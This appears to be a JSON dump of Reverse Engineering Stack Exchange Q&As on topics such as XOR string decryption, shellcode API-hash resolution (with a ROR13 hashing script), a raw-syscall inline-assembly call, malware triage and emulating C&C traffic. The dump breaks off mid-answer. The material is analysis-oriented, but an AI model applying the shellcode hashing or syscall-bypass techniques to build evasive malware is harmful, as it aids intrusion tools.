        "Body": "<p>I have an arm complied <code>so</code> file and find the decrypt function which pseudocode generated by IDA Pro is like this:</p>\n<pre><code>char __cdecl EncodeUtil::getDecryptStr()\n{\n  int *v0; // r0\n  int *v1; // r7\n  unsigned int i; // r5\n  char v3; // r6\n  int v5; // [sp+4h] [bp-1Ch]\n\n  v1 = v0;\n  HttpUtility::URLDecode(&amp;v5);\n  for ( i = 0; i &lt; *(_DWORD *)(v5 - 12); ++i )\n  {\n    sub_3B25D0(&amp;v5);\n    v3 = byte_41A7DD[i &amp; 7]; //byte_41A7DD     DCB 0xC, 0x17, 0xDE, 0x22, 0x2C, 0xC9, 0x37, 0x43\n    *(_BYTE *)(v5 + i) ^= v3;\n    sub_3B25D0(&amp;v5);\n    if ( !*(_BYTE *)(v5 + i) )\n    {\n      sub_3B25D0(&amp;v5);\n      *(_BYTE *)(v5 + i) ^= v3;\n    }\n  }\n  sub_3B2E20(v1, &amp;v5);\n  sub_3B1CCC(&amp;v5);\n  return (char)v1;\n}\n</code></pre>\n<p>and the <code>sub_3B25D0</code> function is:</p>\n<pre><code>int *__fastcall sub_3B25D0(int *result)\n{\n  if ( *(_DWORD *)(*result - 4) &gt;= 0 )\n    result = sub_3B2580(result);\n  return result;\n}\n</code></pre>\n<p>and the <code>sub_3B2580</code> function is:</p>\n<pre><code>int *__fastcall sub_3B2580(int *result)\n{\n  int v1; // r3\n  int *v2; // r4\n\n  v1 = *result;\n  v2 = result;\n  if ( (int *)(*result - 12) != &amp;dword_4C60C0 )\n  {\n    if ( *(_DWORD *)(v1 - 4) &gt; 0 )\n    {\n      result = sub_3B1D0C(result, 0, 0, 0);\n      v1 = *v2;\n    }\n    *(_DWORD *)(v1 - 4) = -1;\n  }\n  return result;\n}\n</code></pre>\n<p>and then <code>sub_3B1D0C</code></p>\n<pre><code>int *__fastcall sub_3B1D0C(int *result, size_t a2, int a3, int a4)\n{\n  int v4; // r12\n  int v5; // r10\n  int v6; // r8\n  int v7; // r7\n  unsigned int v8; // r3\n  unsigned int v9; // r8\n  int *v10; // r5\n  int v11; // r4\n  size_t v12; // r6\n  size_t v13; // r10\n  int v14; // r0\n  int v15; // r9\n  bool v16; // zf\n  int v17; // r7\n  int v18; // r4\n  const void *v19; // r1\n  int v20; // r7\n  int v21; // r4\n  _BYTE *v22; // r1\n  char v23; // [sp+4h] [bp-24h]\n\n  v4 = *result;\n  v5 = *(_DWORD *)(*result - 12);\n  v6 = a4 - a3;\n  v7 = a4;\n  v8 = *(_DWORD *)(*result - 8);\n  v9 = v6 + v5;\n  v10 = result;\n  v11 = a3;\n  v12 = a2;\n  v13 = v5 - a2 - a3;\n  if ( v9 &gt; v8 || *(_DWORD *)(v4 - 4) &gt; 0 )\n  {\n    v14 = sub_3B1B30(v9, v8, &amp;v23);\n    if ( v12 )\n    {\n      v22 = (_BYTE *)*v10;\n      if ( v12 == 1 )\n      {\n        *(_BYTE *)(v14 + 12) = *v22;\n        v15 = v14 + 12;\n      }\n      else\n      {\n        v15 = v14 + 12;\n        memcpy((void *)(v14 + 12), v22, v12);\n      }\n    }\n    else\n    {\n      v15 = v14 + 12;\n    }\n    if ( v13 )\n    {\n      v20 = v7 + v12;\n      v21 = v11 + v12;\n      if ( v13 == 1 )\n        *(_BYTE *)(v15 + v20) = *(_BYTE *)(*v10 + v21);\n      else\n        memcpy((void *)(v15 + v20), (const void *)(*v10 + v21), v13);\n    }\n    result = (int *)(*v10 - 12);\n    if ( result != &amp;dword_4C60C0 )\n      result = (int *)sub_3B1C84();\n    v4 = v15;\n    *v10 = v15;\n  }\n  else\n  {\n    v16 = a3 == v7;\n    if ( a3 != v7 )\n      v16 = v13 == 0;\n    if ( !v16 )\n    {\n      v17 = v7 + a2;\n      v18 = a3 + a2;\n      result = (int *)(v4 + v17);\n      v19 = (const void *)(v4 + a3 + a2);\n      if ( v13 == 1 )\n        *(_BYTE *)(v4 + v17) = *(_BYTE *)(v4 + v18);\n      else\n        result = (int *)memmove(result, v19, v13);\n      v4 = *v10;\n    }\n  }\n  if ( (int *)(v4 - 12) != &amp;dword_4C60C0 )\n  {\n    *(_DWORD *)(v4 - 4) = 0;\n    *(_DWORD *)(v4 - 12) = v9;\n    *(_BYTE *)(v4 + v9) = 0;\n  }\n  return result;\n}\n</code></pre>\n<p>can anyone give a best guess what does the function do after <code>HttpUtility::URLDecode</code> ?</p>\n<h2>EDIT</h2>\n<p>As inspired by @NirIzr's answer below and some of the comments, I wrote a snippet of Java code to try the XOR like this:</p>\n<pre><code> public static void main(String args[])\n    {\n        byte[] _bytes = null;\n        byte[] key = {(byte) 0xC,(byte)0x17,(byte)0xDE,(byte)0x22,(byte)0x2C,(byte)0xC9,(byte)0x37,(byte)0x43};\n        String s = &quot;%EB%9Ff%C5%A4q%D0%D9%88%F2M%87%C9Z%92%A6%83%BC%3B%86%8B%2D%8B%EC&quot;;\n        try {\n            String decoded = URLDecoder.decode(s,&quot;UTF-8&quot;);\n            _bytes = decoded.getBytes();\n        } catch (UnsupportedEncodingException e) {\n            e.printStackTrace();\n        }\n\n\n        for(int i=0;i&lt;_bytes.length;i++){\n            _bytes[i] = (byte)(_bytes[i] ^ key[i%key.length]);\n        }\n\n        System.out.println(new String(_bytes));\n\n    }\n</code></pre>\n<p>But the out put didn't seems to be good:</p>\n<p><code>\ufffdcD\ufffdmF\ufffd\ufffd\ufffd\ufffd\ufffdv\ufffd\ufffdc\u0353tm\ufffd\ufffd\ufffd1\ufffd\ufffd&amp;\ufffd\ufffd\ufffdc\ufffdv\ufffd\ufffd\ufffd\ufffd\ufffd\u0353t\ufffd\ufffd</code></p>\n",
        "Title": "how to find the encryption algorithm?",
        "Tags": "|c|decryption|decompress|",
        "Answer": "<p>All the credit for this this answer should go to the @NirIzr and @Avery3R.</p>\n\n<p>Here is a python script that implements the xoring mentioned by these kind people:</p>\n\n<pre><code>import urllib\nimport binascii\ndata = \"%EB%9Ff%C5%A4q%D0%D9%88%F2M%87%C9Z%92%A6%83%BC%3B%86%8B%2D%8B%EC\" #quoted data as is\nunquoted = urllib.unquote(data)\nkey = binascii.unhexlify(\"0C17DE222CC93743\") # the key\nidx = 0\nres = \"\"\nfor c in unquoted:\n    res += chr(ord(c) ^ ord(key[idx % len(key)]))\n    idx += 1\nprint res\n</code></pre>\n\n<p>The result of running: </p>\n\n<pre><code>\u256d\u2500wireshrink@[cenzored] ~/test  \n\u2570\u2500$ python ./test.py \n\u7238\u7238\u7684\u54e5\u54e5\u53eb\u5927\u4f2f\n</code></pre>\n\n<p>I think that you either forgot to encode it back to UTF8 before printing or there is some other issue in your code or default environment that is  related to encoding.</p>\n"
    },
    {
        "Id": "17288",
        "CreationDate": "2018-01-25T13:13:31.957",
        "Body": "<p>I read <a href=\"https://reverseengineering.stackexchange.com/questions/13236/how-to-extract-debug-information-from-a-dos-executable-compiled-with-watcom-c-c\">here</a> that some PE files have debug information baked into the PE file. Is this only the case for older PE files?</p>\n\n<p>Is it safe to assume that all Visual Studio compiled PE files have all debug information (if any) in an external PDB file, i.e. do not contain debug information other than the path to a PDB file?</p>\n",
        "Title": "Is all debug information of VS-compiled PE files contained in an external PDB file?",
        "Tags": "|pe|compilers|debugging-symbols|pdb|",
        "Answer": "<p><a href=\"http://www.debuginfo.com/articles/gendebuginfo.html\" rel=\"nofollow noreferrer\">Old</a> versions of link.exe supported the <code>/debugtype</code> argument that used these options:</p>\n\n<pre><code>/debugtype:coff    \n   use COFF format\n/debugtype:cv\n   use CodeView or Program Database format (depends on /pdb option) \n/debugtype:both   \n   use both COFF and CodeView/Program Database formats\n</code></pre>\n\n<p>According to the MSDN docs for Visual Studio 2008's <a href=\"https://msdn.microsoft.com/en-us/library/y0zzbyt4(v=vs.90).aspx\" rel=\"nofollow noreferrer\">linker</a>, that option was no longer available; and the information for the <code>/debug</code> switch states that \"it is not possible to create an .exe or .dll that contains debug information. Debug information is always placed in a .pdb file.\"</p>\n\n<p>So anything built with Microsoft tools from the last decade won't have embedded symbol information.</p>\n"
    },
    {
        "Id": "17289",
        "CreationDate": "2018-01-25T16:43:13.960",
        "Body": "<p>I'm disassembling a shellcode and I found that it resolves adress of some function manually using the hash to find function in kernel32.dll.\nexample  :</p>\n\n<pre><code>call findKernel32Base\n....\npush 0EC0E4E8Eh\ncall findSymbolByHash\nmov [ebp-4], eax\n</code></pre>\n\n<p>For this example the function resolved is LoadLibraryA, I found it by searching the hash on google but what if I don't find it on google  ? \nHow can I find the function related to the hash value without debugging the shellcode ( some manually resolve failed when I debug it so it crash ) ?</p>\n\n<p>Thank you !</p>\n",
        "Title": "How to find a fuction hash when manually resolving in shellcode?",
        "Tags": "|shellcode|",
        "Answer": "<p>iirc you cant go from a constant hash to name \nbut hash an exported name compare the generated hash with the constant </p>\n\n<p>you can see a discussion and an implementation <a href=\"http://www.openrce.org/blog/view/681/Shellcode_Analysis\" rel=\"nofollow noreferrer\">here</a></p>\n\n<p>a ripped python implementation using the discussion as follows</p>\n\n<pre><code>:\\&gt;cat foo.py\ndef rol32(val, amt):\n        return ( (val &lt;&lt; amt) &amp; 0xffffffff ) | ( ( val &gt;&gt; (32 - amt) ) &amp; 0xffffffff )\n\ndef ror32(val, amt):\n        return ( (val &gt;&gt; amt) &amp; 0xffffffff ) | ( ( val &lt;&lt; (32 - amt) ) &amp; 0xffffffff )\n\ndef add32(val, amt):\n        return (val + amt) &amp; 0xffffffff\n\ndef hash_export(name):\n    result = 0\n    index = 0\n    while(index &lt; len(name)):\n        result  = add32(ror32(result, 13), ord(name[index]) &amp; 0xff)\n        index += 1\n    return result\n\nprint hex(hash_export(\"LoadLibraryA\"))\n:\\&gt;python foo.py\n0xec0e4e8eL\n</code></pre>\n"
    },
    {
        "Id": "17291",
        "CreationDate": "2018-01-25T17:36:04.543",
        "Body": "<p>I'm playing with a pe32 file. With <code>is</code>, Some of my symbols say <code>GLOBAL</code> others say <code>NONE</code>,</p>\n\n<pre><code>006 0x00027514 0x100428114 GLOBAL   FUNC    0 k.exe_asdf\n....\n002 0x0002a808 0x10042c008   NONE   FUNC    0 imp.foo.dll_bar\n</code></pre>\n\n<p>Are the only two options <code>GLOBAL</code> and <code>NONE</code>? Where can I find the output definition of this screen. If I run the same executable under <code>objdump -t</code> it just shows</p>\n\n<pre><code>./k.exe:     file format pei-x86-64\n\nSYMBOL TABLE:\nno symbols\n</code></pre>\n\n<p><code>nm</code> also shows no symbols. I'm guessing though that <code>radare2</code> is just better working with pe32+ files?</p>\n",
        "Title": "What is the difference between a GLOBAL symbol and NONE?",
        "Tags": "|radare2|symbols|",
        "Answer": "<h2>PE Binding</h2>\n\n<p>\"GLOBAL\" and \"NONE\" are values of the \"Bind\" column in radare2's symbol table. As @blabb correctly described, whenever you look at the \"Exports\" through radare2 you'll see the value <code>\"GLOBAL\"</code> assigned to <code>ptr-&gt;bind</code> and you'll see <code>\"NONE\"</code> assigned to each import. The thing is, that this is only relevant for PE files and I'll soon explain it deeper. For now, let's look at the implemented code in radare2.</p>\n\n<p>@blabb mentioned that you can easily spot this in the code, that's true. Here's how the implementation of <code>bind</code> is for PE <strong>exports</strong>:</p>\n\n<pre><code>if ((symbols = PE_(r_bin_pe_get_exports)(bf-&gt;o-&gt;bin_obj))) {\n        for (i = 0; !symbols[i].last; i++) {\n            if (!(ptr = R_NEW0 (RBinSymbol))) {\n                break;\n            }\n            ptr-&gt;name = strdup ((char *)symbols[i].name);\n            ...\n            ptr-&gt;bind = r_str_const (\"GLOBAL\");\n            ptr-&gt;type = r_str_const (\"FUNC\");\n            ptr-&gt;size = 0;\n            ...\n            ...\n</code></pre>\n\n<p>You can see that <code>ptr-&gt;bind</code> is unconditionally assigned to be \"GLOBAL\".</p>\n\n<p>That's how the implementation of <code>bind</code> is looking like for PE <strong>import</strong>:</p>\n\n<pre><code>if ((imports = PE_(r_bin_pe_get_imports)(bf-&gt;o-&gt;bin_obj))) {\n        for (i = 0; !imports[i].last; i++) {\n            if (!(ptr = R_NEW0 (RBinSymbol))) {\n                break;\n            }\n            ...\n            ptr-&gt;name = r_str_newf (\"imp.%s\", imports[i].name);\n            ptr-&gt;bind = r_str_const (\"NONE\");\n            ptr-&gt;type = r_str_const (\"FUNC\");\n            ptr-&gt;size = 0;\n            ...\n            ...\n</code></pre>\n\n<p>Again, it is unconditionally assigned to \"NONE\".</p>\n\n<hr>\n\n<h2>Symbol Binding</h2>\n\n<p>Symbol binding is a subject that thoroughly was already answered by @SYS_V in this incredibly good <a href=\"https://reverseengineering.stackexchange.com/a/14904/18698\">answer</a>.</p>\n\n<p>To quote from his answer:</p>\n\n<blockquote>\n  <p>There must be a way for the link editor (ld) to determine the scope of\n  a symbol during link-time. In other words, symbol binding allows the\n  link editor to differentiate between symbols visible only within a\n  particular file being linked (local scope) vs. symbols that can be\n  referenced from within functions located in other files (global\n  scope).</p>\n</blockquote>\n\n<p>For ELF files, GLOBAL binding means the symbol is visible outside the file. LOCAL binding is visible only in the file. WEAK is like global, the symbol can be overridden.</p>\n\n<p>There are many more binding values for ELF as you can see in <a href=\"https://docs.oracle.com/cd/E19683-01/816-1386/6m7qcoblj/index.html#chapter6-tbl-21\" rel=\"nofollow noreferrer\">this table</a>:</p>\n\n<pre><code>+------------+-------+\n|    Name    | Value |\n+------------+-------+\n| STB_LOCAL  |     0 |\n| STB_GLOBAL |     1 |\n| STB_WEAK   |     2 |\n| STB_LOOS   |    10 |\n| STB_HIOS   |    12 |\n| STB_LOPROC |    13 |\n| STB_HIPROC |    15 |\n+------------+-------+\n</code></pre>\n\n<p>And radare2 implemented it as well in <a href=\"https://github.com/radare/radare2/blob/f15618a7061eb9fcb860ac00e88a074321f6270a/libr/bin/format/elf/elf.c#L2551\" rel=\"nofollow noreferrer\"><code>fill_symbol_bind_and_type</code></a>:</p>\n\n<pre><code>switch (ELF_ST_BIND(sym-&gt;st_info)) {\ncase STB_LOCAL:  s_bind (\"LOCAL\"); break;\ncase STB_GLOBAL: s_bind (\"GLOBAL\"); break;\ncase STB_WEAK:   s_bind (\"WEAK\"); break;\ncase STB_NUM:    s_bind (\"NUM\"); break;\ncase STB_LOOS:   s_bind (\"LOOS\"); break;\ncase STB_HIOS:   s_bind (\"HIOS\"); break;\ncase STB_LOPROC: s_bind (\"LOPROC\"); break;\ncase STB_HIPROC: s_bind (\"HIPROC\"); break;\ndefault:         s_bind (\"UNKNOWN\");\n}\n</code></pre>\n\n<h2>Further reading</h2>\n\n<p>I highly recommend @SYS_V's answer for more information. You can also read more about Symbol Resolution <a href=\"https://docs.oracle.com/cd/E19120-01/open.solaris/819-0690/chapter2-93321/index.html\" rel=\"nofollow noreferrer\">here</a> and you can find more information about Symbol visibility in <a href=\"https://www.technovelty.org/code/why-symbol-visibility-is-good.html\" rel=\"nofollow noreferrer\">this link</a>.</p>\n"
    },
    {
        "Id": "17310",
        "CreationDate": "2018-01-27T16:21:59.190",
        "Body": "<p>I am making a program to set those attributes with C++. With IDA, I find that <code>lxcore.sys</code> driver uses <code>ZwSetEaFile()</code> and <code>LxssManager.dll</code> uses <code>NtSetEaFile()</code> function to set NTFS extended attributes. Here are the functions mentioned in ntdl.dll (using IDA v7):</p>\n\n<p><a href=\"https://i.stack.imgur.com/MA8sy.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/MA8sy.png\" alt=\"SetEaFile_ntdll\"></a></p>\n\n<p>Here is the Microsoft documentation of <a href=\"https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntifs/nf-ntifs-zwseteafile\" rel=\"nofollow noreferrer\">ZwSetEaFile()</a>:</p>\n\n<pre><code>NTSTATUS ZwSetEaFile(\n  _In_  HANDLE           FileHandle,\n  _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n  _In_  PVOID            Buffer,\n  _In_  ULONG            Length\n);\n</code></pre>\n\n<p>But I'm not sure which one is appropriate to use? Is there any difference between them using in a user mode software?</p>\n",
        "Title": "Appropriate function to set NTFS extended attributes: ZwSetEaFile or NtSetEaFile",
        "Tags": "|disassembly|",
        "Answer": "<p>the op appears to have deleted some questions he posed as comments and accepted an answer<br>\nso this answer might appear to be not relevant to the present context   </p>\n\n<p>op commented if one could call the api in user_mode without loading ntdll.dll<br>\nor calling either of the two variants of the api viz NtSetEaFile or ZwSetEaFile</p>\n\n<p>this answer shows how that can be done<br>\nthe syscall number belongs to win7 sp1 32 bit<br>\non compiling and executing a 0 byte text file will be created<br>\nwhose extended info can be checked with <strong>ladislav zezulas filetest</strong> utility\nor by checking the ntfs usn change records   </p>\n\n<pre><code>#include &lt;windows.h&gt;\n#include &lt;winternl.h&gt;\ntypedef struct _MYEABUFF {\n    ULONG neoff; UCHAR flg; UCHAR nlen; USHORT vlen; char eaname[0x100];\n}MyEaBuff, *PMyEaBuff;\nint main() {\n    HANDLE fhand = CreateFileA(\"testec.txt\", GENERIC_READ | GENERIC_WRITE,\n    FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);\n    const char *Eaname=\"EATEST\";const char *EaValue=\"This is the text For EATEST\";\n    UCHAR nlen=(UCHAR)strlen(Eaname);USHORT EaValueLen=(USHORT)strlen(EaValue);\n    IO_STATUS_BLOCK iosb ={0}; MyEaBuff Buff ={0};\n    Buff.neoff = 0; Buff.flg = 0; Buff.nlen = nlen; Buff.vlen = EaValueLen;\n    strcpy_s(Buff.eaname, nlen + 1, Eaname);\n    strcpy_s(Buff.eaname + nlen + 1, EaValueLen + 1, EaValue);\n    PVOID iosb_ptr = &amp;iosb; PVOID Buff_ptr = &amp;Buff;\n    __asm {\n        push 108h\n        push Buff_ptr\n        push iosb_ptr\n        push fhand\n        call ntseaf\n        jmp exit\n    }\nntseaf:\n    __asm {\n        mov eax, 142h\n        mov edx, 7ffe0300h\n        call dword ptr ds : [edx]\n        retn 4\n    }\nexit:\n    return 0;\n} \n</code></pre>\n\n<p>result of the bin checked with cjdump.exe (old msdn mag code)</p>\n\n<pre><code>C:\\testea&gt;cl /nologo testea.cpp\ntestea.cpp\n\nC:\\testea&gt;testea.exe\n\nC:\\testea&gt;CJDump.exe | grep testec.txt\nUsn(0x0000000129433C28) Reason(0x00000100) testec.txt &lt; USN_REASON_FILE_CREATE\nUsn(0x0000000129433C78) Reason(0x00000500) testec.txt &lt; USN_REASON_EA_CHANGE|0x100\nUsn(0x0000000129433CC8) Reason(0x80000500) testec.txt &lt; USN_REASON_CLOSE|0x500\n</code></pre>\n"
    },
    {
        "Id": "17317",
        "CreationDate": "2018-01-28T19:36:46.280",
        "Body": "<p>I am doing a project for school on Emulation of device using its firmware. Using firmadyne, I can start up the smart device unfortunately because it is not a real device, information fields like Serial number, MAC address, and other device specific information is not present.  I have a shell, and I can look around a physical exemplar of the device but I can't find any place where that is stored. I am limited on what I can do (via busybox)</p>\n\n<p>Where is the device specific information of smart devices usually kept?  I am assuming it is burned-in somewhere? </p>\n\n<p>Thanks</p>\n",
        "Title": "Where Is device specific information kept on smart devices",
        "Tags": "|binary-analysis|firmware|emulation|",
        "Answer": "<p>These information pieces are generally stored in the NVRAM (Non-Volatile RAM), which is stored in one of the flash partition. To emulate a device successfully, you generally have to fill up the NVRAM with valid settings.</p>\n\n<p>Firmadyne contains an <a href=\"https://github.com/firmadyne/libnvram\" rel=\"nofollow noreferrer\">NVRAM emulation</a> and you can find more information about the problem itself in this <a href=\"http://www.devttys0.com/2012/03/emulating-nvram-in-qemu/\" rel=\"nofollow noreferrer\">blog post</a>.</p>\n\n<p>If I remember well, the NVRAM emulation could log out the requested settings, and you have to specify these values in the NVRAM storage directory.</p>\n"
    },
    {
        "Id": "17320",
        "CreationDate": "2018-01-28T22:21:25.160",
        "Body": "<p>I am working with some malware samples and I need to determine if one of them is primarily composed of 32-bit Intel Code. This would seem easy as I can just check the metadata describing it as a 32-bit executable. However, my instructor said that does not suffice.</p>\n\n<p>How can I determine if this binary is primarily 32-bit Intel code without involving simply the metadata. I have a suite of tools at my disposal such as IDA-Pro, PEView, etc etc.</p>\n",
        "Title": "Composition of a Binary File trouble",
        "Tags": "|ida|x86|malware|",
        "Answer": "<p>what you mean by metadata<br>\ndo you mean the details in header that denotes machine </p>\n\n<pre><code>:\\&gt;dumpbin /headers .\\x64\\x64dbg.exe | grep -i machine\n            8664 machine (x64)\n\n:\\&gt;dumpbin /headers .\\x32\\x32dbg.exe | grep -i machine\n             14C machine (x86)\n                   32 bit word machine\n</code></pre>\n\n<p>if you can't use it then can you disassemble the binary<br>\nif yes you can look for x64 register usage<br>\nif you find some registers like rax rbx etc then it is probably 64 bit \nelse 32 bit </p>\n\n<pre><code>:\\&gt;dumpbin /disasm x32\\x32dbg.exe | grep -ic \"r.x\"\n0\n\n:\\&gt;dumpbin /disasm x64\\x64dbg.exe | grep -ic \"r.x\"\n801\n\n:\\&gt;\n</code></pre>\n\n<p>or you can check the reloc section if it has a highlow reloc it is possibly 32 bit<br>\nand a DIR64 reloc indicates a 64 bit exe  </p>\n\n<pre><code>:\\&gt;dumpbin /relocations /nologo x32\\x32dbg.exe | grep -A 2 -i rva\n    1000 RVA,       E0 SizeOfBlock\n       1  HIGHLOW            00402A00\n      11  HIGHLOW            00402A10\n--\n    2000 RVA,      148 SizeOfBlock\n       2  HIGHLOW            0040308C\n       8  HIGHLOW            00403090\n--\n    3000 RVA,       C8 SizeOfBlock\n     140  HIGHLOW            00402229\n     144  HIGHLOW            00401000\n--\n    5000 RVA,       18 SizeOfBlock\n       0  HIGHLOW            00403438\n       4  HIGHLOW            0040346C\n\n:\\&gt;dumpbin /relocations /nologo x64\\x64dbg.exe | grep -A 2 -i rva\n    3000 RVA,       58 SizeOfBlock\n     278  DIR64      00000001400023DC\n     280  DIR64      0000000140001000\n--\n    5000 RVA,       18 SizeOfBlock\n       0  DIR64      0000000140003630\n       8  DIR64      0000000140003680\n</code></pre>\n"
    },
    {
        "Id": "17326",
        "CreationDate": "2018-01-29T14:55:50.837",
        "Body": "<p>As shown in the picture below, <code>IDA PRO (6.8)</code> knows to recognize that <code>al</code> and <code>eax</code> are referencing the same register. </p>\n\n<p><a href=\"https://i.stack.imgur.com/PpALs.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/PpALs.png\" alt=\"enter image description here\"></a></p>\n\n<p>Given two operands in <code>IDA Python</code> (i.e. by <code>idc.GetOpnd(..)</code>), how can I find  that they are referencing the same register? </p>\n",
        "Title": "IDA Python recognize same register",
        "Tags": "|ida|disassembly|disassemblers|",
        "Answer": "<p>Build a dictionary like this:</p>\n\n<pre><code>{ \"rax\":\"rax\", \"eax\":\"rax\", \"ax\":\"rax\" ...  }\n</code></pre>\n\n<p>You can start from the dictionaries contained in <a href=\"https://github.com/angr/archinfo\" rel=\"nofollow noreferrer\">https://github.com/angr/archinfo</a> and change it.</p>\n"
    },
    {
        "Id": "17327",
        "CreationDate": "2018-01-29T16:19:58.833",
        "Body": "<p>Where would I start when needing to configure a command and control server for a RAT?</p>\n\n<p>So that my dynamic analysis can be more complete.</p>\n\n<p>Note: I have been to the topics section of this stack exchange. \"tools commonly used for reverse engineering hardware or software\", this post would comply with that particular topic. It is definitely answerable, and not broad. \nAlso, this question is relevant (in compliance with the relevance guidelines) as many people on this exchange are new to malware analysis. </p>\n",
        "Title": "Configuring a C&C for a RAT",
        "Tags": "|malware|dynamic-analysis|development|",
        "Answer": "<p>You may use FakeNet so that you can simulate the connection specially the IP address and ports.</p>\n"
    },
    {
        "Id": "17333",
        "CreationDate": "2018-01-30T10:36:30.920",
        "Body": "<p>Is there any sites to get static rules to detect malware files?\nstatic behavior rules for detecting malware files.</p>\n\n<p>Thanks in advance.</p>\n",
        "Title": "Malware static rules?",
        "Tags": "|malware|static-analysis|",
        "Answer": "<p>You can create or download tools to scan files with YARA rules. There are many repositories on github with custom rules and you can also get the ClamAV database, which is all in YARA. I think Kaspersky's database is also available in YARA rules. You can also use Loki; a fine tool for incident response which does this job and many more!</p>\n"
    },
    {
        "Id": "17343",
        "CreationDate": "2018-01-30T22:15:00.647",
        "Body": "<p>I am trying to debugging c# .NET application which receives a set of doubles and keep it as DataSeries every second.</p>\n\n<p>I want to rewrite its dataseries before the new data comes with my own dataset.</p>\n\n<p>1st question.\nmy idea is the following:\nif I find the address on RAM where the data kept,I can rewrite with python or MHS.</p>\n\n<p>is this valid?</p>\n\n<p>2nd question.\nwhat does something like \"@06000027\" in DnSpy mean?<a href=\"https://i.stack.imgur.com/L7UH6.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/L7UH6.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>thank you beforehand.</p>\n",
        "Title": "Reversing C# exe,Questions.Help",
        "Tags": "|debugging|memory|decompile|c#|memory-dump|",
        "Answer": "<p>Those numbers are metadata and is called Token IDs. You can click on those in the dnSpy and you will be taken to the editor of the selected item.</p>\n\n<p>As for your first question, remember that .net apps are JITed before the actual executions so addresses will change. If I would have to do this I would change the code on the .net level.</p>\n"
    },
    {
        "Id": "17345",
        "CreationDate": "2018-01-30T23:33:21.563",
        "Body": "<p>In <a href=\"https://rads.stackoverflow.com/amzn/click/B01891X7V0\" rel=\"nofollow noreferrer\"><em>Learning Linux Binary Analysis</em> by Ryan \"elfmaster\" O'Neill</a>. On Page 33, the author compiles a program with a symbol reference and no definition,</p>\n\n<blockquote>\n  <p>Let's take a look at the source code:</p>\n\n<pre><code>_start()\n  {\n    foo();\n  }\n</code></pre>\n  \n  <p>We see that it calls the foo() function. However, the foo() function is not located directly within that source code file; so, upon compiling, there will be a relocation entry created that is necessary for later satisfying the symbolic reference:</p>\n\n<pre><code>$ objdump -d obj1.o\nobj1.o:\nfile format elf32-i386\nDisassembly of section .text:\n00000000 &lt;func&gt;:\n0: 55 push %ebp\n1: 89 e5 mov %esp,%ebp\n3: 83 ec 08 sub $0x8,%esp\n6: e8 fc ff ff ff call 7 &lt;func+0x7&gt;\nb: c9 leave\nc: c3 ret\n</code></pre>\n</blockquote>\n\n<p>**Even after changing <code>_start() {}</code> to <code>void start() {}</code>, what flags do I use to compile the same thing? When I try, I get..</p>\n\n<pre><code>gcc -nostdlib app.c -o test\napp.c: In function \u2018_start\u2019:\napp.c:3:3: warning: implicit declaration of function \u2018foo\u2019 [-Wimplicit-function-declaration]\n   foo();\n   ^~~\n/tmp/ccMBITVZ.o: In function `_start':\napp.c:(.text+0xa): undefined reference to `foo'\ncollect2: error: ld returned 1 exit status\n</code></pre>\n",
        "Title": "How do you compile a C program with missing symbols?",
        "Tags": "|elf|symbols|gcc|",
        "Answer": "<p>Compiling your source code file like this also involves a call to the linker - remember that the \"gcc\" program is only the compiler front end program, which calls the preprocessor, compiler passes, assembler, and linker as required.</p>\n\n<p>You can obtain the object file \"app.o\" using the \"-c\" compiler option like this:</p>\n\n<pre><code>gcc -nostdlib -c app.c -o app.o\n</code></pre>\n\n<p>Using \"-c\", the compiler is instructed to stop after generating the object file, so that the linker is not invoked. To generate an executable ELF file, you then have to invoke the linker separately\n(app.o is the default output file name, so the \"-o app.o\" parameter can be omitted).</p>\n"
    },
    {
        "Id": "17346",
        "CreationDate": "2018-01-31T00:29:03.170",
        "Body": "<p>From <a href=\"https://rads.stackoverflow.com/amzn/click/com/B01891X7V0\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\"><em>Learning Linux Binary Analysis</em> by Ryan \"elfmaster\" O'Neill</a>. On Page 32, the author states,</p>\n\n<blockquote>\n  <p>The relocation records for 32-bit ELF files are the same as for 64-bit, but use 32-bit integers. The following example for are object file code will be compiled as 32-bit so that we can demonstrate implicit addends, which are not as commonly used in 64-bit. An <strong>implicit addend</strong> occurs when the relocation records are stored in <code>ElfN_Rel</code> type structures that don't contain an <code>r_addend</code> field and therefore the addend is stored in the relocation target itself. The 64-bit executables tend to use the <code>ElfN_Rela</code> structs that contain an <strong>explicit addend</strong>. I think it is worth understanding both scenarios, but implicit addends are a little more confusing, so it makes sense to bring light to this area.</p>\n</blockquote>\n\n<p>What is the actual definition of an <em>\"addend\"</em>?</p>\n",
        "Title": "What is an \"addend\"?",
        "Tags": "|symbols|dynamic-linking|terminology|",
        "Answer": "<ul>\n<li><strong>Augend</strong> is a term that means a number that is subject to addition</li>\n<li><strong>Addend</strong> is the number that you will be adding.</li>\n</ul>\n\n<p>From <a href=\"https://www.merriam-webster.com/words-at-play/surprising-uncommon-words/augend-addend\" rel=\"nofollow noreferrer\">Dictionary.com</a>,</p>\n\n<blockquote>\n  <p>Have you ever found yourself staring at a piece of paper with \u201c3 + 4\u201d written on it, and wondered \u2018what is the proper term for each of these two respective quantities?\u2019 No? <strong>The first number is the augend</strong> and <strong>the number that is added to it is the addend.</strong></p>\n</blockquote>\n\n<p>You can see a chart of other math terms here on <a href=\"https://en.wikipedia.org/wiki/Template:Calculation_results\" rel=\"nofollow noreferrer\">Wikipedia's <em>\"Calculation results\"</em></a>,</p>\n\n<p><a href=\"https://i.stack.imgur.com/WIBqe.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/WIBqe.png\" alt=\"Calculation results\"></a></p>\n\n<p>Why the special terms here?</p>\n\n<ul>\n<li>Well, that's likely because in assembly <code>add rbi, rax</code> will actually store the result in <code>rbi</code>. So knowing the first argument is not just an argument to <code>add</code> but the destination; <code>add rax, rbi</code> will store the result in <code>rax</code>. If assembly was displayed with operators instead, we'd have <code>rbi += rax</code> and <code>rax += rbi</code>.</li>\n<li>Because the <em>addend</em> is not <em>always</em> an offset, and the augend is not always the base. Though in this specific example, \"offset\" is far more appropriate.</li>\n<li><p>In this specific case, the term \"implicit offset\" can be found in the <a 